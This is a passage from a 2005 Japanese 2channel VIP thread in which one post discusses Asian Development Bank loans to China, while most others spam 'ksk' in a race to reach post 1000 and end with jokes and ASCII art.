8回生 林剛 通信教育学部経済学部商業学科4年
部友 戸田聡 明治大学大学院文学研究科史学専攻博士前期過程3年

924 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:32:13 ID:YldzJQ3w0
>>922 これは多分130万人が生きてて子孫を作ってたら今これくらいですよということじゃないのかな?

925 :spinel:2005/10/31(月) 02:32:41 ID:5LlzwbOY0
>>908
アジア開発銀行(ADB)がその穴埋めをする。
2006年から08年の3年間に中国へ総額45億ドルの融資、無償供与は年間1100万ドル。
ADBの歴代総裁はすべて日本人。
しかも日本の財政負担は、通常資本財源では15.8%(アメリカと同率加盟国中第一位)、アジア開発基金では37.3%(当然一位)。

http://www.mofa.go.jp/mofaj/gaiko/oda/shiryo/hakusyo/04_hakusho/ODA2004/html/siryo/sr3320020.htm

日本が一番影響力を持っているADBだから、日本が迂回資金を提供するようなもの。
対中ODAを減らす代わりにADBからの迂回資金で賄ってください、って約束した人いるんじゃないですかね?

さらに、今問題になっている東シナ海の石油開発と海洋調査について、
その費用はアジア開発銀行から1億3,000万ドル、日本輸出入銀行から1億2,000万ドル、欧州投資銀行から6,900万ドルの借款によってまかなわれる、だそうです。

http://www.cnfc.or.jp/j/proposal/asia00/hiramatsu.html

926 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:41:43 ID:ry4pzBtd0
こういうのを読んでると小泉の「改革」を応援したくなるな・・・・・・
日本の外交って、キチガイがやってるのか・・・・

927 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:47:00 ID:1eBsmJxJ0
ksk

928 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:47:07 ID:gZxT1VJ90
ksk

929 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:47:20 ID:/pe6o4VV0
ksk

930 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:47:25 ID:Ufi4gDAH0
ksk

931 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:47:33 ID:gNSuNdHh0
ksk

932 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:47:50 ID:dYoLyAbP0
ksk

933 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:47:50 ID:+OWDXz01O
>>927
おまwwwwwwww

934 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:48:00 ID:gl6rGsqe0
こないだ「05:43:21に123取る」つもりで20秒おきにレスしてたらバーボンくらった

935 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:48:05 ID:Ufi4gDAH0
ksk

936 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:48:05 ID:wm4Z4z5XO
ksk

937 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:48:13 ID:gNSuNdHh0
ksk

938 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:48:27 ID:Prjru+n00
kk

939 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:48:30 ID:Ufi4gDAH0
ksk

940 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:48:31 ID:/pe6o4VV0
ksk

941 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:48:35 ID:FtIrGQ6t0
KuSuKo

942 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:48:45 ID:gl6rGsqe0
どこまでksk?

943 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:48:48 ID:gNSuNdHh0
ksk

944 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:48:53 ID:Prjru+n00
ksk

945 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:49:00 ID:gZxT1VJ90
ksk

946 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:49:00 ID:/pe6o4VV0
ksk

947 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:49:02 ID:PkBr2a6m0
ksk

948 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:49:07 ID:Ufi4gDAH0
ksk

949 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:49:17 ID:Prjru+n00
ksk

950 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:49:33 ID:Ufi4gDAH0
ksk

951 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:49:35 ID:aJd3KpfcO
加速

952 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:49:52 ID:/pe6o4VV0
過疎苦

953 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:50:01 ID:Ufi4gDAH0
ksk

954 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:50:03 ID:X4BMnsvV0
ksk

955 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:50:04 ID:gZxT1VJ90
ksk

956 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:50:20 ID:Prjru+n00
ksk

957 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:50:21 ID:gNSuNdHh0
ksk

958 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:50:22 ID:1eBsmJxJ0
ksk

959 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:50:30 ID:rM8a3NQ7O
????????????????

960 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:50:36 ID:wm4Z4z5XO
ksk

961 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:50:50 ID:PkBr2a6m0
ksk

962 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:50:54 ID:Prjru+n00
ksk

963 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:50:55 ID:gZxT1VJ90
ksk

964 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:51:09 ID:gNSuNdHh0
ksk

965 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:51:23 ID:/pe6o4VV0
ksk

966 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:51:24 ID:Prjru+n00
ksk

967 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:51:35 ID:wm4Z4z5XO
ksk

968 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:51:42 ID:Ufi4gDAH0
ksk

969 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:51:49 ID:/pe6o4VV0
ksk

970 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:51:52 ID:rM8a3NQ7O
KaZoKu

971 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:51:59 ID:Prjru+n00
ksk

972 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:52:04 ID:Ufi4gDAH0
ksk

973 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:52:12 ID:wm4Z4z5XO
ksk

974 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:52:24 ID:gNSuNdHh0
ksk

975 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:52:26 ID:Prjru+n00
ksk

976 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:52:27 ID:0ng2DRWE0
ksk

977 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:52:32 ID:bGscpHf4O
にめに

978 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:52:44 ID:gl6rGsqe0
そろそろゆっくり

979 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:52:47 ID:wm4Z4z5XO
ksk

980 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:53:00 ID:/pe6o4VV0
ちょっとksk

981 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:53:03 ID:Prjru+n00
ksk

982 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:53:14 ID:gZxT1VJ90
ksk

983 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:53:21 ID:hoew8nCfO
http://my.casty.jp/cms/m/i.cgi?site_id=license_inomoto
アイアム893

984 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:53:25 ID:rM8a3NQ7O
KSO

985 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:53:37 ID:gNSuNdHh0
これだと02:54:30あたりかな

986 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:54:01 ID:FtIrGQ6t0
02:54:00

987 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:54:01 ID:gZxT1VJ90
ksk

988 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:54:02 ID:7nLirHbO0
ksk

989 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:54:04 ID:Prjru+n00
55

990 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:54:20 ID:gNSuNdHh0
もう少しksk

991 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:54:25 ID:7nLirHbO0
1000

992 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:54:30 ID:PkBr2a6m0
おk

993 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:54:37 ID:/pe6o4VV0
kskする前にりろーどしろよ

994 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:54:44 ID:0ng2DRWE0
--------------------------------------

995 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:54:54 ID:rM8a3NQ7O
鳥だ!
飛行機だ!
いや、
どう見ても精子です。
本当にありがとうございました。

996 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:54:59 ID:Ufi4gDAH0
ksk

997 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:54:59 ID:K0GxD27s0
55

998 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:55:00 ID:gNSuNdHh0
1001

999 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:55:00 ID:gl6rGsqe0
1003!

1000 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:55:00 ID:Prjru+n00
 *     +    巛 ヽ
            〒 !   +    。     +    。     *     。
      +    。  |  |
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1001 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:55:00 ID:TzA/Ptrc0


1002 :1001:Over 1000 Thread
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